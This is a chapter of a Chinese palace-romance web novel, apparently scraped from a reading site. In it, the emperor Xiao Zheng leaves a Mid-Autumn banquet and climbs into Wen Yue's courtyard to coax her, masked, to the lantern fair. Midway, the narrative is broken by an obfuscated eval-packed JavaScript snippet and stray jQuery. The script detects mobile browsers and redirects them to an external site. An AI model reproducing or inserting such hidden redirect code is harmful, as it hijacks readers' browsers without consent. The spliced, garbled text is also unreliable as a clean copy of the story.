25. 中秋
作品:《君恩难授》 见萧徵突然沉默,太后心间微微诧异,她这个儿子自小就意气扬扬、目空一切,为太子时,被群臣刁难也不曾露出这般神情。
太后突然来了兴趣,笑问道:“这是怎么了?巡视边防不顺心?”
她特意加重了巡视边防这四个字,饶有兴致地看向面露不满的萧徵。
“无事。”萧徵察觉到自己的失态,收拾好情绪,又恢复了那不可一世的模样。
“你既然无事,那吾便放心了。”太后也没心思继续和他吵下去,娶妻这事翻来覆去说了许多年也无用。
不仅是她,满朝文武皆拿他没办法,她年纪也越发大,前半生扑在先帝身上,虚度年华,后半生可不想再浪费在这个混账身上。
太后也不愿再与萧徵争执,她准备放一放手,去看看这锦绣山河。
若是这个混账而立之年还未娶妻,她再回来也不迟。
太后突然离宫,将萧徵打了个措手不及。
延英殿中的奏折堆成小山,这都是先前太后代理朝政时,积压下来的。
虽不是要紧事,但实在是太多了。
萧徵不禁怀疑,这是他阿娘对他的报复,留下的全是一些鸡毛蒜皮的小事。
他无奈扶额,本想着过几日便去看温玥的,可这日子一拖就到了中秋,他又脱不开身。
秋风清,秋月明,明月高悬于九霄云外,照着阖家团圆,也照着离散孤零。
太极宫中,月光与灯火通明的殿宇交相辉映,笙箫奏起,丝竹之声绕梁,酒香混着内殿燃烧的沉香,在晚风中弥漫。
眼前轻歌曼舞,火树银花,可萧徵却心不在焉,对着一切充耳不闻,只是专心地把玩着手中素白色的手帕。
看着上头的缠枝牡丹,萧徵突然觉得眼前的一切无趣至极,清越悠扬的乐曲都变得聒噪喧嚣。
他猛地站起身,将下头推杯换盏的臣子吓了一大跳,他们面色熏然,两腮酡红,也难掩满脸惊愕。
还不等他们反应过来,萧徵便大步流星地走出乾元殿。
众人回过神后,却连他的衣角都看不到了。
“左仆射,陛下这是……怎么了?”众人顿时醒了酒,将目光落在申承良身上。
申承良也不知陛下这是怎么了,他捋了捋白须,平静摇头。
他们这位陛下,总是想一出是一出,这种事情,他早已见怪不怪了。
这么多年与萧徵斗智斗勇,申承良觉得他的道行早就修炼到家了,无论萧徵做出何事,他都能波澜不惊,处之淡然。
他今夜原本是想着趁机进谏,当着文武百官,还有不少番邦使节的面,再劝陛下尽早立后。
但还没轮到他开口,萧徵就率先离场。
申承良不免猜测,难道是陛下早就知晓他今夜的打算,所以才使出这避战之计?
中秋佳节,夜凉如水,皓月高悬于空,清辉遍地。
烛火忽的一跳,灯芯发出一声脆响,温玥听见动静从书中抬起头,紧张询问,“什么声音?”
“娘子,是烛芯爆了。可是吓到您了?”说着澄心便拿起一旁的小银剪,将焦掉的烛芯剪去。
“好好的烛火,你剪它做什么?”温玥将手中的书合上,无端心烦,根本无心再去看书。
见温玥突然开始闹脾气,澄心如同哄孩子一般,同她解释,“娘子,这烛火燃得久了,便会结灯花,光暗烟重,将它剪去这个烛光才能更亮堂一些。”
温玥将手中的书丢下,趿着鞋,来到澄心面前,从她手中接过小银剪,放到一旁,“不用理会,留着就当听个响,也好过悄无声息。”
澄心无奈叹气,眼中瞬间被疼惜填满,中秋佳节,本该阖家团圆的时刻,她们娘子却只能孤零零地窝在这隐僻的小别院中。
陈祭酒本想接温玥去陈府一同庆贺中秋,可温玥碍于身份,犹豫再三还是拒绝了。
她如今已是外嫁女,贸然跑去外祖家庆贺中秋,传出去不仅会被人乱嚼舌根子,更是有损清誉。
刚说完,温玥便后悔了,她不该随意乱发脾气的,“澄心,我……并非有意。”
温玥如同一个犯了错的孩子,垂着头,让人只能瞧见她毛茸茸的头顶。
“娘子,奴婢知晓您心中烦闷,奴婢不会怨您的。有些事说出来,也比憋在心中好,奴婢只盼着您别委屈了自己。”
澄心本就比温玥年长几岁,又惯是成熟沉稳的性子,两人自小一起长大,情同姐妹。
夜渐深,月色依然皎洁,暮云收尽溢清寒,银汉无声转玉盘①。
烛台上,啪的一声,又爆了灯花。
温玥眼眶一酸,眼泪也啪嗒一声,与灯花一同落下。她展开双臂包住澄心,此时此刻,她们不再是主仆,而是一对儿从小相伴的姐妹。
“澄心,我想家了。”
“娘子,哭出来就好了,不要憋在心里。”
见温玥脆弱的模样,连哭都是默默垂泪,将满腹委屈压在心底,澄心一颗心也被揪了起来。她家娘子年岁尚小,孤身远嫁,尚在新婚就出府另居,举目无亲。
中秋夜,窗外万家灯火,皆是欢声笑语,唯有这一方小院,寂静无声。
澄心身为奴婢,许多事都做不了主,只能眼睁睁看着自家娘子被人欺负,受尽委屈,却无能为力。
她在心中暗暗祈求,希望上天垂怜,往后的日子能善待娘子,莫要再让她委屈难过了。
温玥哭完,擦了擦眼泪。冷静下来后,突然觉得很丢人,她不敢去看澄心,随手拿起被她丢在一边的书,又看了起来。
“我没事,澄心下去休息吧。”
澄心见状也不拆穿她,只是笑了笑,将燃烧的烛芯一一剪去,这才退了出去。
临出门,她仍放心不下,开口叮嘱道:“娘子,您也早些休息,莫要伤心了。”
“嗯。”温玥不咸不淡地应了一声,继续垂首看书,虽没与过多的言语,可颤抖的羽睫还是出卖了她。
她不敢抬头去看澄心,怕好不容易忍下的眼泪会在流出来。
直到听见关门声,她才悄悄用衣袖擦了擦脸颊,望着手中的书怔怔出神。
心中生出几分有家不能回的苦涩之意。
她强打起精神,强迫自己不要再去想这些事,努力平复心绪时,门外突然传出异响。
仔细一听,像是有人在轻叩门扉。
温玥没多想,还以为是澄心放心不下,又去而复返。她径直走到门边打开门,眼前出现一位意想不到之人。
“你…你怎么进来的?”温玥震惊地瞪大双眼,惊慌过后,她眉头微蹙,在抬眸时只有提防与错愕。
“自然是翻墙。”萧徵很是坦然,丝毫不觉得夜探香闺此举多冒犯无礼。
“郎君,您此举太过放肆。”温玥是真的动了怒,从前种种,她都可以不计较。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333840|198187||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
可深夜闭门,他竟擅自翻墙闯入,无论她是否嫁人,传出去她都无法做人了。
明明无甚交情,他却这般唐突,实在是孟浪放肆。
说完这句,温玥就要合上门,却被一双大手抵住,她用尽全身力气都无法撼动。
漂亮的眉头紧锁,一双眼冷冷清清,如同结了一层寒冰,带着不满与疏离,似被他的唐突与无礼给惹恼了。
“怕什么?你是怕我,还是怕被你的夫君瞧见?”
萧徵回宫后就派人去查过温玥,根本就没有哪家新妇姓陈,还离府别居,这个小混蛋骗了他。
所以,他知晓她并不与其夫君同住,说这话也是故意吓她。
“这二者有何区别?”
温玥仍然试图将门合上,可她吃奶的劲都使出来了,这门还是纹丝不动,“你到底想要做什么?”
“今夜月色难得,长安恰好有灯会,想去吗?”萧徵见温玥生气,也不退让,反而一个用力将门彻底大敞,二人之间毫无阻隔,他这才心满意足。
“不想!”温玥冷声回绝,仰起头,怒气冲冲的看向对面之人,“有损清誉之事,我绝不会做。”
她素来守礼,最惜羽翼,与他深夜相见,已是她此生做过最惊世骇俗之举,怎么可能再与他深夜出门,同游灯会。
“我知你顾虑,戴上它,没人认得出你。”萧徵轻笑一声,放软了嗓音,语气柔和,从怀中掏出两个横眉怒目、阔口露齿的金刚力士面具。
温玥看着他手中的金刚力士面具,静默许久,又抬头深深看了他一眼。
见她如此,萧徵就知她心中动摇,再接再厉道:“满城灯火,美轮美奂,花灯连绵如星河,错过便要再等上一年。”
终究是十六七岁的小娘子,虽然嫁了人,可仍少年心性,又怎么可能对那满城花灯毫无心动。
听他的描述,温玥的确很是心动,她幼时也是见过长安灯会的盛况,自然知晓灯会比起他所描述之情景,是有过之而无不及的。
她咬了咬唇,还是狠下心拒绝道:“这于礼不合,还请您即刻离去。”
“人寿几何?逝如朝露②。何苦将自己的一生都困在礼法之中?”萧徵褪去强势,只是静静望着她,语气感慨,“韶华易逝,及时行乐才是正理。”
晚风轻轻拂过院中花木,金桂簌簌落下,这细微的声响,轻轻撩动人心。
温玥心间微颤,垂眸沉默,这次她沉默的的时间更久了,十指紧紧搅在一起。
她不是不心动,只是不敢。
她总是顾虑太多,未曾随心所欲过。她担心坏了名声,连累族中姐妹,更怕毁了阿翁与阿耶的仕途。
望着心动却不敢的温玥,她眼中的那点惴惴不安,都被萧徵看在眼中,他语气笃定,向她担保道:“你戴着面具,无人会认出你。若是真被人认了出来,自然有我给你挡着,千错万错都在我一人。”
“罪责在我,非议我受。你可敢试一次?”
他态度诚恳,竟让温玥难得的没有生出抵触,她原本坚定的心,似乎软了许多。
温玥仍是不曾开口,也仍未去看他,而是望着月色出神良久。
“只此一次。”
这四个字说的又轻又快,她只是静静地立在那里,不同萧徵多言,可他却觉得,为了这个,他已经等待许久了。
萧徵抬手为将面具扣在温玥脸上,“走吧。”

